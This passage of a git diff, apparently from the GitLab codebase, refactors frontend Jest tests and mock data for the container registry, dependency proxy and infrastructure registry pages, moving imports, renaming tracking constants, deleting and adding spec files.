- expect.objectContaining({ first: null, before: tagsPageInfo.startCursor }),
- );
+ expect(findRegistryList().exists()).toBe(false);
});
});
-
describe('loading state', () => {
it.each`
isImageLoading | queryExecuting | loadingVisible
@@ -306,8 +198,6 @@ describe('Tags List', () => {
expect(findTagsLoader().exists()).toBe(loadingVisible);
expect(findTagsListRow().exists()).toBe(!loadingVisible);
- expect(findListTitle().exists()).toBe(!loadingVisible);
- expect(findPagination().exists()).toBe(!loadingVisible);
},
);
});
diff --git a/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap b/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap
index 46b07b4c2d6..4b52e84d1a6 100644
--- a/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap
+++ b/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap
@@ -36,6 +36,7 @@ exports[`Registry Project Empty state to match the default snapshot 1`] = `
<gl-form-input-group-stub
class="gl-mb-4"
+ inputclass=""
predefinedoptions="[object Object]"
value=""
>
@@ -57,6 +58,7 @@ exports[`Registry Project Empty state to match the default snapshot 1`] = `
<gl-form-input-group-stub
class="gl-mb-4"
+ inputclass=""
predefinedoptions="[object Object]"
value=""
>
@@ -69,6 +71,7 @@ exports[`Registry Project Empty state to match the default snapshot 1`] = `
</gl-form-input-group-stub>
<gl-form-input-group-stub
+ inputclass=""
predefinedoptions="[object Object]"
value=""
>
diff --git a/spec/frontend/packages_and_registries/container_registry/explorer/mock_data.js b/spec/frontend/packages_and_registries/container_registry/explorer/mock_data.js
index 6a835a28807..16625d913a5 100644
--- a/spec/frontend/packages_and_registries/container_registry/explorer/mock_data.js
+++ b/spec/frontend/packages_and_registries/container_registry/explorer/mock_data.js
@@ -37,6 +37,7 @@ export const graphQLImageListMock = {
data: {
project: {
__typename: 'Project',
+ id: '1',
containerRepositoriesCount: 2,
containerRepositories: {
__typename: 'ContainerRepositoryConnection',
@@ -51,6 +52,7 @@ export const graphQLEmptyImageListMock = {
data: {
project: {
__typename: 'Project',
+ id: '1',
containerRepositoriesCount: 2,
containerRepositories: {
__typename: 'ContainerRepositoryConnection',
@@ -65,6 +67,7 @@ export const graphQLEmptyGroupImageListMock = {
data: {
group: {
__typename: 'Group',
+ id: '1',
containerRepositoriesCount: 2,
containerRepositories: {
__typename: 'ContainerRepositoryConnection',
@@ -120,6 +123,7 @@ export const containerRepositoryMock = {
project: {
visibility: 'public',
path: 'gitlab-test',
+ id: '1',
containerExpirationPolicy: {
enabled: false,
nextRunAt: '2020-11-27T08:59:27Z',
@@ -167,6 +171,7 @@ export const imageTagsMock = (nodes = tagsMock) => ({
data: {
containerRepository: {
id: containerRepositoryMock.id,
+ tagsCount: nodes.length,
tags: {
nodes,
pageInfo: { ...tagsPageInfo },
@@ -191,7 +196,7 @@ export const graphQLImageDetailsMock = (override) => ({
data: {
containerRepository: {
...containerRepositoryMock,
-
+ tagsCount: tagsMock.length,
tags: {
nodes: tagsMock,
pageInfo: { ...tagsPageInfo },
@@ -242,6 +247,7 @@ export const dockerCommands = {
export const graphQLProjectImageRepositoriesDetailsMock = {
data: {
project: {
+ id: '1',
containerRepositories: {
nodes: [
{
diff --git a/spec/frontend/packages_and_registries/container_registry/explorer/pages/details_spec.js b/spec/frontend/packages_and_registries/container_registry/explorer/pages/details_spec.js
index adc9a64e5c9..9b821ba8ef3 100644
--- a/spec/frontend/packages_and_registries/container_registry/explorer/pages/details_spec.js
+++ b/spec/frontend/packages_and_registries/container_registry/explorer/pages/details_spec.js
@@ -1,6 +1,7 @@
import { GlKeysetPagination } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
+import { nextTick } from 'vue';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
@@ -22,6 +23,7 @@ import {
} from '~/packages_and_registries/container_registry/explorer/constants';
import deleteContainerRepositoryTagsMutation from '~/packages_and_registries/container_registry/explorer/graphql/mutations/delete_container_repository_tags.mutation.graphql';
import getContainerRepositoryDetailsQuery from '~/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_details.query.graphql';
+import getContainerRepositoryTagsQuery from '~/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_tags.query.graphql';
import component from '~/packages_and_registries/container_registry/explorer/pages/details.vue';
import Tracking from '~/tracking';
@@ -32,6 +34,7 @@ import {
containerRepositoryMock,
graphQLEmptyImageDetailsMock,
tagsMock,
+ imageTagsMock,
} from '../mock_data';
import { DeleteModal } from '../stubs';
@@ -67,12 +70,13 @@ describe('Details Page', () => {
const waitForApolloRequestRender = async () => {
await waitForPromises();
- await wrapper.vm.$nextTick();
+ await nextTick();
};
const mountComponent = ({
resolver = jest.fn().mockResolvedValue(graphQLImageDetailsMock()),
mutationResolver = jest.fn().mockResolvedValue(graphQLDeleteImageRepositoryTagsMock),
+ tagsResolver = jest.fn().mockResolvedValue(graphQLImageDetailsMock(imageTagsMock)),
options,
config = {},
} = {}) => {
@@ -81,6 +85,7 @@ describe('Details Page', () => {
const requestHandlers = [
[getContainerRepositoryDetailsQuery, resolver],
[deleteContainerRepositoryTagsMutation, mutationResolver],
+ [getContainerRepositoryTagsQuery, tagsResolver],
];
apolloProvider = createMockApollo(requestHandlers);
@@ -242,38 +247,49 @@ describe('Details Page', () => {
describe('confirmDelete event', () => {
let mutationResolver;
+ let tagsResolver;
beforeEach(() => {
mutationResolver = jest.fn().mockResolvedValue(graphQLDeleteImageRepositoryTagsMock);
- mountComponent({ mutationResolver });
+ tagsResolver = jest.fn().mockResolvedValue(graphQLImageDetailsMock(imageTagsMock));
+ mountComponent({ mutationResolver, tagsResolver });
return waitForApolloRequestRender();
});
+
describe('when one item is selected to be deleted', () => {
- it('calls apollo mutation with the right parameters', async () => {
+ it('calls apollo mutation with the right parameters and refetches the tags list query', async () => {
findTagsList().vm.$emit('delete', [cleanTags[0]]);
- await wrapper.vm.$nextTick();
+ await nextTick();
findDeleteModal().vm.$emit('confirmDelete');
expect(mutationResolver).toHaveBeenCalledWith(
expect.objectContaining({ tagNames: [cleanTags[0].name] }),
);
+
+ await waitForPromises();
+
+ expect(tagsResolver).toHaveBeenCalled();
});
});
describe('when more than one item is selected to be deleted', () => {
- it('calls apollo mutation with the right parameters', async () => {
+ it('calls apollo mutation with the right parameters and refetches the tags list query', async () => {
findTagsList().vm.$emit('delete', tagsMock);
- await wrapper.vm.$nextTick();
+ await nextTick();
findDeleteModal().vm.$emit('confirmDelete');
expect(mutationResolver).toHaveBeenCalledWith(
expect.objectContaining({ tagNames: tagsMock.map((t) => t.name) }),
);
+
+ await waitForPromises();
+
+ expect(tagsResolver).toHaveBeenCalled();
});
});
});
@@ -382,7 +398,7 @@ describe('Details Page', () => {
findPartialCleanupAlert().vm.$emit('dismiss');
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(axios.post).toHaveBeenCalledWith(config.userCalloutsPath, {
feature_name: config.userCalloutId,
@@ -472,7 +488,7 @@ describe('Details Page', () => {
await waitForApolloRequestRender();
findDetailsHeader().vm.$emit('delete');
- await wrapper.vm.$nextTick();
+ await nextTick();
};
it('on delete event it deletes the image', async () => {
@@ -497,13 +513,13 @@ describe('Details Page', () => {
findDeleteImage().vm.$emit('start');
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findTagsLoader().exists()).toBe(true);
findDeleteImage().vm.$emit('end');
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findTagsLoader().exists()).toBe(false);
});
@@ -513,7 +529,7 @@ describe('Details Page', () => {
findDeleteImage().vm.$emit('error');
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findDeleteAlert().props('deleteAlertType')).toBe(ALERT_DANGER_IMAGE);
});
diff --git a/spec/frontend/packages_and_registries/dependency_proxy/app_spec.js b/spec/frontend/packages_and_registries/dependency_proxy/app_spec.js
index 625f00a8666..44a7186904d 100644
--- a/spec/frontend/packages_and_registries/dependency_proxy/app_spec.js
+++ b/spec/frontend/packages_and_registries/dependency_proxy/app_spec.js
@@ -54,7 +54,6 @@ describe('DependencyProxyApp', () => {
}
const findProxyNotAvailableAlert = () => wrapper.findByTestId('proxy-not-available');
- const findProxyDisabledAlert = () => wrapper.findByTestId('proxy-disabled');
const findClipBoardButton = () => wrapper.findComponent(ClipboardButton);
const findFormGroup = () => wrapper.findComponent(GlFormGroup);
const findFormInputGroup = () => wrapper.findComponent(GlFormInputGroup);
@@ -219,28 +218,6 @@ describe('DependencyProxyApp', () => {
});
});
});
-
- describe('when the dependency proxy is disabled', () => {
- beforeEach(() => {
- resolver = jest
- .fn()
- .mockResolvedValue(proxyDetailsQuery({ extendSettings: { enabled: false } }));
- createComponent();
- return waitForPromises();
- });
-
- it('does not show the main area', () => {
- expect(findMainArea().exists()).toBe(false);
- });
-
- it('does not show the loader', () => {
- expect(findSkeletonLoader().exists()).toBe(false);
- });
-
- it('shows a proxy disabled alert', () => {
- expect(findProxyDisabledAlert().text()).toBe(DependencyProxyApp.i18n.proxyDisabledText);
- });
- });
});
});
});
diff --git a/spec/frontend/packages_and_registries/dependency_proxy/mock_data.js b/spec/frontend/packages_and_registries/dependency_proxy/mock_data.js
index 8bad22b5287..2aa427bc6af 100644
--- a/spec/frontend/packages_and_registries/dependency_proxy/mock_data.js
+++ b/spec/frontend/packages_and_registries/dependency_proxy/mock_data.js
@@ -8,8 +8,8 @@ export const proxyData = () => ({
export const proxySettings = (extend = {}) => ({ enabled: true, ...extend });
export const proxyManifests = () => [
- { createdAt: '2021-09-22T09:45:28Z', imageName: 'alpine:latest' },
- { createdAt: '2021-09-21T09:45:28Z', imageName: 'alpine:stable' },
+ { id: 'proxy-1', createdAt: '2021-09-22T09:45:28Z', imageName: 'alpine:latest' },
+ { id: 'proxy-2', createdAt: '2021-09-21T09:45:28Z', imageName: 'alpine:stable' },
];
export const pagination = (extend) => ({
@@ -26,6 +26,7 @@ export const proxyDetailsQuery = ({ extendSettings = {}, extend } = {}) => ({
group: {
...proxyData(),
__typename: 'Group',
+ id: '1',
dependencyProxySetting: {
...proxySettings(extendSettings),
__typename: 'DependencyProxySetting',
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/app_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/app_spec.js
index c7c10cef504..2868af84181 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/app_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/app_spec.js
@@ -9,15 +9,15 @@ import PackagesApp from '~/packages_and_registries/infrastructure_registry/detai
import PackageFiles from '~/packages_and_registries/infrastructure_registry/details/components/package_files.vue';
import PackageHistory from '~/packages_and_registries/infrastructure_registry/details/components/package_history.vue';
import * as getters from '~/packages_and_registries/infrastructure_registry/details/store/getters';
-import PackageListRow from '~/packages/shared/components/package_list_row.vue';
-import PackagesListLoader from '~/packages/shared/components/packages_list_loader.vue';
-import { TrackingActions } from '~/packages/shared/constants';
-import * as SharedUtils from '~/packages/shared/utils';
+import PackageListRow from '~/packages_and_registries/infrastructure_registry/shared/package_list_row.vue';
+import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
+import { TRACKING_ACTIONS } from '~/packages_and_registries/shared/constants';
+import { TRACK_CATEGORY } from '~/packages_and_registries/infrastructure_registry/shared/constants';
import TerraformTitle from '~/packages_and_registries/infrastructure_registry/details/components/details_title.vue';
import TerraformInstallation from '~/packages_and_registries/infrastructure_registry/details/components/terraform_installation.vue';
import Tracking from '~/tracking';
-import { mavenPackage, mavenFiles, npmPackage } from 'jest/packages/mock_data';
+import { mavenPackage, mavenFiles, npmPackage } from '../../mock_data';
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -232,87 +232,78 @@ describe('PackagesApp', () => {
describe('tracking', () => {
let eventSpy;
- let utilSpy;
- const category = 'foo';
beforeEach(() => {
eventSpy = jest.spyOn(Tracking, 'event');
- utilSpy = jest.spyOn(SharedUtils, 'packageTypeToTrackCategory').mockReturnValue(category);
});
- it('tracking category calls packageTypeToTrackCategory', () => {
- createComponent({ packageEntity: npmPackage });
- expect(wrapper.vm.tracking.category).toBe(category);
- expect(utilSpy).toHaveBeenCalledWith('npm');
- });
-
- it(`delete button on delete modal call event with ${TrackingActions.DELETE_PACKAGE}`, () => {
+ it(`delete button on delete modal call event with ${TRACKING_ACTIONS.DELETE_PACKAGE}`, () => {
createComponent({ packageEntity: npmPackage });
findDeleteModal().vm.$emit('primary');
expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.DELETE_PACKAGE,
+ TRACK_CATEGORY,
+ TRACKING_ACTIONS.DELETE_PACKAGE,
expect.any(Object),
);
});
- it(`canceling a package deletion tracks ${TrackingActions.CANCEL_DELETE_PACKAGE}`, () => {
+ it(`canceling a package deletion tracks ${TRACKING_ACTIONS.CANCEL_DELETE_PACKAGE}`, () => {
createComponent({ packageEntity: npmPackage });
findDeleteModal().vm.$emit('canceled');
expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.CANCEL_DELETE_PACKAGE,
+ TRACK_CATEGORY,
+ TRACKING_ACTIONS.CANCEL_DELETE_PACKAGE,
expect.any(Object),
);
});
- it(`request a file deletion tracks ${TrackingActions.REQUEST_DELETE_PACKAGE_FILE}`, () => {
+ it(`request a file deletion tracks ${TRACKING_ACTIONS.REQUEST_DELETE_PACKAGE_FILE}`, () => {
createComponent({ packageEntity: npmPackage });
findPackageFiles().vm.$emit('delete-file', mavenFiles[0]);
expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.REQUEST_DELETE_PACKAGE_FILE,
+ TRACK_CATEGORY,
+ TRACKING_ACTIONS.REQUEST_DELETE_PACKAGE_FILE,
expect.any(Object),
);
});
- it(`confirming a file deletion tracks ${TrackingActions.DELETE_PACKAGE_FILE}`, () => {
+ it(`confirming a file deletion tracks ${TRACKING_ACTIONS.DELETE_PACKAGE_FILE}`, () => {
createComponent({ packageEntity: npmPackage });
findPackageFiles().vm.$emit('delete-file', npmPackage);
findDeleteFileModal().vm.$emit('primary');
expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.REQUEST_DELETE_PACKAGE_FILE,
+ TRACK_CATEGORY,
+ TRACKING_ACTIONS.REQUEST_DELETE_PACKAGE_FILE,
expect.any(Object),
);
});
- it(`canceling a file deletion tracks ${TrackingActions.CANCEL_DELETE_PACKAGE_FILE}`, () => {
+ it(`canceling a file deletion tracks ${TRACKING_ACTIONS.CANCEL_DELETE_PACKAGE_FILE}`, () => {
createComponent({ packageEntity: npmPackage });
findPackageFiles().vm.$emit('delete-file', npmPackage);
findDeleteFileModal().vm.$emit('canceled');
expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.CANCEL_DELETE_PACKAGE_FILE,
+ TRACK_CATEGORY,
+ TRACKING_ACTIONS.CANCEL_DELETE_PACKAGE_FILE,
expect.any(Object),
);
});
- it(`file download link call event with ${TrackingActions.PULL_PACKAGE}`, () => {
+ it(`file download link call event with ${TRACKING_ACTIONS.PULL_PACKAGE}`, () => {
createComponent({ packageEntity: npmPackage });
findPackageFiles().vm.$emit('download-file');
expect(eventSpy).toHaveBeenCalledWith(
- category,
- TrackingActions.PULL_PACKAGE,
+ TRACK_CATEGORY,
+ TRACKING_ACTIONS.PULL_PACKAGE,
expect.any(Object),
);
});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/details_title_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/details_title_spec.js
index a012ec4ab05..24bd80ba80c 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/details_title_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/details_title_spec.js
@@ -1,8 +1,8 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
-import { terraformModule, mavenFiles, npmPackage } from 'jest/packages/mock_data';
import component from '~/packages_and_registries/infrastructure_registry/details/components/details_title.vue';
import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+import { terraformModule, mavenFiles, npmPackage } from '../../mock_data';
const localVue = createLocalVue();
localVue.use(Vuex);
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_files_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_files_spec.js
index 0c5aa30223b..6b6c33b7561 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_files_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_files_spec.js
@@ -6,7 +6,7 @@ import component from '~/packages_and_registries/infrastructure_registry/details
import FileIcon from '~/vue_shared/components/file_icon.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import { npmFiles, mavenFiles } from 'jest/packages/mock_data';
+import { npmFiles, mavenFiles } from '../../mock_data';
describe('Package Files', () => {
let wrapper;
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js
index 4987af9f5b0..f10f05f4a0d 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js
@@ -6,7 +6,7 @@ import { HISTORY_PIPELINES_LIMIT } from '~/packages_and_registries/shared/consta
import HistoryItem from '~/vue_shared/components/registry/history_item.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import { mavenPackage, mockPipelineInfo } from 'jest/packages/mock_data';
+import { mavenPackage, mockPipelineInfo } from '../../mock_data';
describe('Package History', () => {
let wrapper;
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/terraform_installation_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/terraform_installation_spec.js
index c26784a4b75..6ff4a4c51ef 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/terraform_installation_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/terraform_installation_spec.js
@@ -1,8 +1,8 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
-import { terraformModule as packageEntity } from 'jest/packages/mock_data';
import TerraformInstallation from '~/packages_and_registries/infrastructure_registry/details/components/terraform_installation.vue';
import CodeInstructions from '~/vue_shared/components/registry/code_instruction.vue';
+import { terraformModule as packageEntity } from '../../mock_data';
const localVue = createLocalVue();
localVue.use(Vuex);
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/actions_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/actions_spec.js
index 61fa69c2f7a..b9383d6c38c 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/actions_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/actions_spec.js
@@ -12,8 +12,8 @@ import {
DELETE_PACKAGE_ERROR_MESSAGE,
DELETE_PACKAGE_FILE_ERROR_MESSAGE,
DELETE_PACKAGE_FILE_SUCCESS_MESSAGE,
-} from '~/packages/shared/constants';
-import { npmPackage as packageEntity } from '../../../../../packages/mock_data';
+} from '~/packages_and_registries/shared/constants';
+import { npmPackage as packageEntity } from '../../mock_data';
jest.mock('~/flash.js');
jest.mock('~/api.js');
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/getters_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/getters_spec.js
index 8740691a8ee..b14aaa93e1f 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/getters_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/getters_spec.js
@@ -3,7 +3,7 @@ import {
npmPackage,
mockPipelineInfo,
mavenPackage as packageWithoutBuildInfo,
-} from 'jest/packages/mock_data';
+} from '../../mock_data';
describe('Getters PackageDetails Store', () => {
let state;
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/mutations_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/mutations_spec.js
index 6efefea4a14..0f0c84af7da 100644
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/mutations_spec.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/mutations_spec.js
@@ -1,6 +1,6 @@
import * as types from '~/packages_and_registries/infrastructure_registry/details/store/mutation_types';
import mutations from '~/packages_and_registries/infrastructure_registry/details/store/mutations';
-import { npmPackage as packageEntity } from 'jest/packages/mock_data';
+import { npmPackage as packageEntity } from '../../mock_data';
describe('Mutations package details Store', () => {
let mockState;
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js
deleted file mode 100644
index ef26c729691..00000000000
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js
+++ /dev/null
@@ -1,28 +0,0 @@
-import { GlIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import InfrastructureIconAndName from '~/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue';
-
-describe('InfrastructureIconAndName', () => {
- let wrapper;
-
- const findIcon = () => wrapper.find(GlIcon);
-
- const mountComponent = () => {
- wrapper = shallowMount(InfrastructureIconAndName, {});
- };
-
- it('has an icon', () => {
- mountComponent();
-
- const icon = findIcon();
-
- expect(icon.exists()).toBe(true);
- expect(icon.props('name')).toBe('infrastructure-registry');
- });
-
- it('has the type fixed to terraform', () => {
- mountComponent();
-
- expect(wrapper.text()).toBe('Terraform');
- });
-});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js
deleted file mode 100644
index 119b678cc37..00000000000
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js
+++ /dev/null
@@ -1,135 +0,0 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import component from '~/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue';
-import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
-import UrlSync from '~/vue_shared/components/url_sync.vue';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('Infrastructure Search', () => {
- let wrapper;
- let store;
-
- const sortableFields = () => [
- { orderBy: 'name', label: 'Name' },
- { orderBy: 'version', label: 'Version' },
- { orderBy: 'created_at', label: 'Published' },
- ];
-
- const groupSortableFields = () => [
- { orderBy: 'name', label: 'Name' },
- { orderBy: 'project_path', label: 'Project' },
- { orderBy: 'version', label: 'Version' },
- { orderBy: 'created_at', label: 'Published' },
- ];
-
- const findRegistrySearch = () => wrapper.findComponent(RegistrySearch);
- const findUrlSync = () => wrapper.findComponent(UrlSync);
-
- const createStore = (isGroupPage) => {
- const state = {
- config: {
- isGroupPage,
- },
- sorting: {
- orderBy: 'version',
- sort: 'desc',
- },
- filter: [],
- };
- store = new Vuex.Store({
- state,
- });
- store.dispatch = jest.fn();
- };
-
- const mountComponent = (isGroupPage = false) => {
- createStore(isGroupPage);
-
- wrapper = shallowMount(component, {
- localVue,
- store,
- stubs: {
- UrlSync,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('has a registry search component', () => {
- mountComponent();
-
- expect(findRegistrySearch().exists()).toBe(true);
- expect(findRegistrySearch().props()).toMatchObject({
- filter: store.state.filter,
- sorting: store.state.sorting,
- tokens: [],
- sortableFields: sortableFields(),
- });
- });
-
- it.each`
- isGroupPage | page | fields
- ${false} | ${'project'} | ${sortableFields()}
- ${true} | ${'group'} | ${groupSortableFields()}
- `('in a $page page binds the right props', ({ isGroupPage, fields }) => {
- mountComponent(isGroupPage);
-
- expect(findRegistrySearch().props()).toMatchObject({
- filter: store.state.filter,
- sorting: store.state.sorting,
- tokens: [],
- sortableFields: fields,
- });
- });
-
- it('on sorting:changed emits update event and calls vuex setSorting', () => {
- const payload = { sort: 'foo' };
-
- mountComponent();
-
- findRegistrySearch().vm.$emit('sorting:changed', payload);
-
- expect(store.dispatch).toHaveBeenCalledWith('setSorting', payload);
- expect(wrapper.emitted('update')).toEqual([[]]);
- });
-
- it('on filter:changed calls vuex setFilter', () => {
- const payload = ['foo'];
-
- mountComponent();
-
- findRegistrySearch().vm.$emit('filter:changed', payload);
-
- expect(store.dispatch).toHaveBeenCalledWith('setFilter', payload);
- });
-
- it('on filter:submit emits update event', () => {
- mountComponent();
-
- findRegistrySearch().vm.$emit('filter:submit');
-
- expect(wrapper.emitted('update')).toEqual([[]]);
- });
-
- it('has a UrlSync component', () => {
- mountComponent();
-
- expect(findUrlSync().exists()).toBe(true);
- });
-
- it('on query:changed calls updateQuery from UrlSync', () => {
- jest.spyOn(UrlSync.methods, 'updateQuery').mockImplementation(() => {});
-
- mountComponent();
-
- findRegistrySearch().vm.$emit('query:changed');
-
- expect(UrlSync.methods.updateQuery).toHaveBeenCalled();
- });
-});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js
deleted file mode 100644
index db6e175b054..00000000000
--- a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js
+++ /dev/null
@@ -1,75 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import component from '~/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue';
-import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
-import TitleArea from '~/vue_shared/components/registry/title_area.vue';
-
-describe('Infrastructure Title', () => {
- let wrapper;
- let store;
-
- const findTitleArea = () => wrapper.find(TitleArea);
- const findMetadataItem = () => wrapper.find(MetadataItem);
-
- const mountComponent = (propsData = { helpUrl: 'foo' }) => {
- wrapper = shallowMount(component, {
- store,
- propsData,
- stubs: {
- TitleArea,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('title area', () => {
- it('exists', () => {
- mountComponent();
-
- expect(findTitleArea().exists()).toBe(true);
- });
-
- it('has the correct props', () => {
- mountComponent();
-
- expect(findTitleArea().props()).toMatchObject({
- title: 'Infrastructure Registry',
- infoMessages: [
- {
- text: 'Publish and share your modules. %{docLinkStart}More information%{docLinkEnd}',
- link: 'foo',
- },
- ],
- });
- });
- });
-
- describe.each`
- count | exist | text
- ${null} | ${false} | ${''}
- ${undefined} | ${false} | ${''}
- ${0} | ${true} | ${'0 Modules'}
- ${1} | ${true} | ${'1 Module'}
- ${2} | ${true} | ${'2 Modules'}
- `('when count is $count metadata item', ({ count, exist, text }) => {
- beforeEach(() => {
- mountComponent({ count, helpUrl: 'foo' });
- });
-
- it(`is ${exist} that it exists`, () => {
- expect(findMetadataItem().exists()).toBe(exist);
- });
-
- if (exist) {
- it('has the correct props', () => {
- expect(findMetadataItem().props()).toMatchObject({
- icon: 'infrastructure-registry',
- text,
- });
- });
- }
- });
-});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/__snapshots__/packages_list_app_spec.js.snap b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/__snapshots__/packages_list_app_spec.js.snap
new file mode 100644
index 00000000000..99a7b8e427a
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/__snapshots__/packages_list_app_spec.js.snap
@@ -0,0 +1,72 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`packages_list_app renders 1`] = `
+<div>
+ <infrastructure-title-stub
+ helpurl="foo"
+ />
+
+ <infrastructure-search-stub />
+
+ <div>
+ <section
+ class="row empty-state text-center"
+ >
+ <div
+ class="col-12"
+ >
+ <div
+ class="svg-250 svg-content"
+ >
+ <img
+ alt=""
+ class="gl-max-w-full"
+ role="img"
+ src="helpSvg"
+ />
+ </div>
+ </div>
+
+ <div
+ class="col-12"
+ >
+ <div
+ class="text-content gl-mx-auto gl-my-0 gl-p-5"
+ >
+ <h1
+ class="gl-font-size-h-display gl-line-height-36 h4"
+ >
+
+ There are no packages yet
+
+ </h1>
+
+ <p
+ class="gl-mt-3"
+ >
+ Learn how to
+ <b-link-stub
+ class="gl-link"
+ event="click"
+ href="helpUrl"
+ routertag="a"
+ target="_blank"
+ >
+ publish and share your packages
+ </b-link-stub>
+ with GitLab.
+ </p>
+
+ <div
+ class="gl-display-flex gl-flex-wrap gl-justify-content-center"
+ >
+ <!---->
+
+ <!---->
+ </div>
+ </div>
+ </div>
+ </section>
+ </div>
+</div>
+`;
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_search_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_search_spec.js
new file mode 100644
index 00000000000..b519ab00d06
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_search_spec.js
@@ -0,0 +1,135 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import component from '~/packages_and_registries/infrastructure_registry/list/components/infrastructure_search.vue';
+import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('Infrastructure Search', () => {
+ let wrapper;
